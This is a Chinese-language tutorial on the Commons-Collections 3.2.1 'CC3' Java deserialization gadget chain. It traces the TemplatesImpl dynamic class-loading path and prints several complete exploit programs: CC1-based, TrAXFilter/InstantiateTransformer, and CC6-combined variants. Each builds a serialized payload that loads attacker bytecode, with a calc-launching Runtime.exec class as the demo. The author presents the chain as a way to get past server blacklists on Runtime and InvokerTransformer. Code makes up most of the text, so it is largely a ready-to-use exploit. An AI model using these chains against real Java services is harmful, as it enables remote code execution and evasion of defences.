前言

前面的CC1与CC6链都是通过 Runtime.exec() 进行命令执行的。当服务器的代码将 Runtime放入黑名单的时候就不能使用了。
CC3链的好处是通过动态加载类的机制实现恶意类代码执行。

版本限制

• jdk8u65
• Commons-Collections 3.2.1

动态类加载

• loadClass -> 负责加载
• loadClass会调用defineClass
• defineClass从字节里加载一个类

我们的目的是执行代码的，但是只做类加载是不会执行代码的，我们还需要一个初始化的地方。

CC3链分析

通过defineClass向上寻找尾链

调用defineClass方法需要找到一个重写它的一个方法。
右键点击Alt +7 寻找调用defineClass的方法


继续寻找函数

然后来到这里

在这个方法很明显是实例化的，走完这个函数相当于动态的执行我们想要的代码了。主要是这个函数是私有的，所以需要继续跟进这个函数寻找

可以发现是公共成员，newTransformer方法可以调用之前的私有成员的方法

构造链:

TemplatesImpl.newTransformer()
-->
defineClass->newInstance

TemplatesImpl类利用

为了可以调用这个类的newTransformer方法

构造构造exp代码:

TemplatesImpl templates = new TemplatesImpl();
//最后执行完上面的全部代码才用到templates.newTransformer();

因为我们的类加载执行代码主要是靠这个 getTransletInstance方法，返回看一下。

可以看见第一个if 返回null不是我们需要的，我们需要进去的是第二个if判断才能执行命令
从而构造exp的部分代码：

Class<? extends TemplatesImpl> c = templates.getClass();Field name = c.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"a");

因为要用到这个方法，点进去看一下

可以看见只要 _bytecodes变量不为null，就会去到下面的代码段

点进去 _bytecodes 变量发现是 byte二维数组 ，二维数组里面包含的值是一维数组

从而构造exp部分构造代码：

Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("X:\\恶意的字节码文件"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);

同时发现 _tfactory 是变量，点进去发现这个变量被声明为 transient

• 之前写过的文章说过在Java中当一个变量被声明为transient时，它表示该变量不参与序列化过程

在readObject()方法中，可以对transient变量的自定义控制和初始化，我们搜索一下readObject方法

可以发现 _tfactory 的默认值是 “new TransformerFactoryImpl()”，从而我们构造exp的部分代码：

Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

构造利用TemplatesImpl类的exp完整代码：

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.xml.transform.Transformer;
import java.awt.event.ItemListener;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;public class CC3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> c = templates.getClass();Field name = c.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"a");Field bytecodes = c.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));byte[][] codes = {eval};bytecodes.set(templates,codes);Field tfactory = c.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());templates.newTransformer();}
}

动态类加载命令执行出现的问题

构造一个静态代码块，命令执行计算器：

import java.io.IOException;public class Calc {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}
}

然后编译成 .class字节码文件

正常来说我们运行exp代码会弹窗，但是报错提示出现了空指针错误

来到393行进行断点调试

一直按F8断点调试来到这里，可以看见前面的类加载成功了。

这个代码的主要意思是：

• 获取这个加载类的类名，如果类包含 AbstractTranslet这个类，就会来到下面的else代码段，所以我们才显示空指针。

我们可以让加载的类继承AbstractTranslet这个类就好了，继承类之后还要重写方法，最后变成以下代码：

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Calc extends AbstractTranslet {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

重写编译成字节码文件，最后运行exp代码，可以看见命令执行成功

现在已经完成了一半条链了。

CC3链=CC1前半段链+Templateslmpl类利用链

实际上链子的完整利用前半段一样只是后半段不一样

CC1链唯一修改的地方是这里：

Transformer[]  transformers = new Transformer[]{new ConstantTransformer(templates),new InvokerTransformer("newTransformer",null,null)};

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;import java.awt.event.ItemListener;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;public class CC3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> c = templates.getClass();Field name = c.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"a");Field bytecodes = c.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));byte[][] codes = {eval};bytecodes.set(templates,codes);Field tfactory = c.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();org.apache.commons.collections.Transformer[]  transformers = new Transformer[]{new ConstantTransformer(templates),new InvokerTransformer("newTransformer",null,null)};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);chainedTransformer.transform(1);}
}

可以看见命令执行成功

最后直接放入剩下的CC1前半链

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;import java.awt.event.ItemListener;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class CC3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> c = templates.getClass();Field name = c.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"a");Field bytecodes = c.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));byte[][] codes = {eval};bytecodes.set(templates,codes);Field tfactory = c.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();org.apache.commons.collections.Transformer[]  transformers = new Transformer[]{new ConstantTransformer(templates),new InvokerTransformer("newTransformer",null,null)};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(1);HashMap<Object, Object> hashMap = new HashMap<>();Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);Class<LazyMap> lazyMapClass = LazyMap.class;Class<?> a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> aihConstructor = a.getDeclaredConstructor(Class.class, Map.class);aihConstructor.setAccessible(true);//转InvocationHandler类型是为了能够调用处理程序实现的接口InvocationHandler aih =  (InvocationHandler) aihConstructor.newInstance(Override.class, lazymap);Map proxyMap  = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, aih);InvocationHandler o = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);serialize(o);unserialize("ser.bin");}//序列化与反序列化public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws  IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}

反序列化代码后命令执行成功

代替InvokerTransformer类链

当服务过滤了这个InvokerTransformer类的时候，我们可以选择其他类代替，作为链子的一部分。

我们可以寻找调用 newTransformer 方法的类的方法

可以看见这里调用了newTransformer()方法

但是由于 TrAXFilter 类并没有继承 序列化接口，所以它不能够进行序列化。需要 TrAXFilter 类的class才可以。

CC3的作者找到了一个 InstantiateTransformer 类的 transform方法。

• 第一个if判断传进来的参数是否是 Class类型
• 然后获取它的指定参数类型的构造器，然后调用它的构造方法

从而构造这个exp代码：

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;public class CC3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> c = templates.getClass();Field name = c.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"a");Field bytecodes = c.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));byte[][] codes = {eval};bytecodes.set(templates,codes);Field tfactory = c.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});instantiateTransformer.transform(TrAXFilter.class);}//序列化与反序列化public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws  IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}

运行后可以看见成功调用了 TrAXFilter类的 TrAXFilter方法，且命令执行成功

完整版exp代码：

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class CC3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> c = templates.getClass();Field name = c.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"a");Field bytecodes = c.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));byte[][] codes = {eval};bytecodes.set(templates,codes);//        Field tfactory = c.getDeclaredField("_tfactory");
//        tfactory.setAccessible(true);
//        tfactory.set(templates,new TransformerFactoryImpl());Transformer[]  transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//        instantiateTransformer.transform(TrAXFilter.class);HashMap<Object, Object> hashMap = new HashMap<>();Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);Class<LazyMap> lazyMapClass = LazyMap.class;Class<?> a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> aihConstructor = a.getDeclaredConstructor(Class.class, Map.class);aihConstructor.setAccessible(true);//转InvocationHandler类型是为了能够调用处理程序实现的接口InvocationHandler aih =  (InvocationHandler) aihConstructor.newInstance(Override.class, lazymap);Map proxyMap  = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, aih);InvocationHandler o = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);serialize(o);unserialize("ser.bin");}//序列化与反序列化public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws  IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}

主要是修改了这段代码：

Transformer[]  transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})};

实际上可以删除这段代码也可以运行，因为反序列化的时候readObject方法会自动复制_tfactory的变量都是一样的

  Field tfactory = c.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());

最后运行代码，可以发现命令执行成功

CC6配合CC3的链

原理是CC6的：CC1+URLDNS反射，这里我们加到CC3里，也可以利用

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class CC3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> c = templates.getClass();Field name = c.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"a");Field bytecodes = c.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));byte[][] codes = {eval};bytecodes.set(templates,codes);Field tfactory = c.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());org.apache.commons.collections.Transformer[]  transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//        instantiateTransformer.transform(TrAXFilter.class);HashMap<Object, Object> hashMap = new HashMap<>();Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);hashMap.put(tiedMapEntry,null);hashMap.remove(null);//也可以修改为lazymap，null改为任意字符都可以Class<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,chainedTransformer);serialize(hashMap);unserialize("ser.bin");}//序列化与反序列化public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws  IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}

总结

总的来说就是CC3通过字节码文件，动态类加载来进行命令执行，达到绕过服务器的黑名单的一条链。CC3链和CC1的区别只是后面不一样，一个是直接的通过类的方法命令执行，一个通过动态类的加载字节码文件执行命令。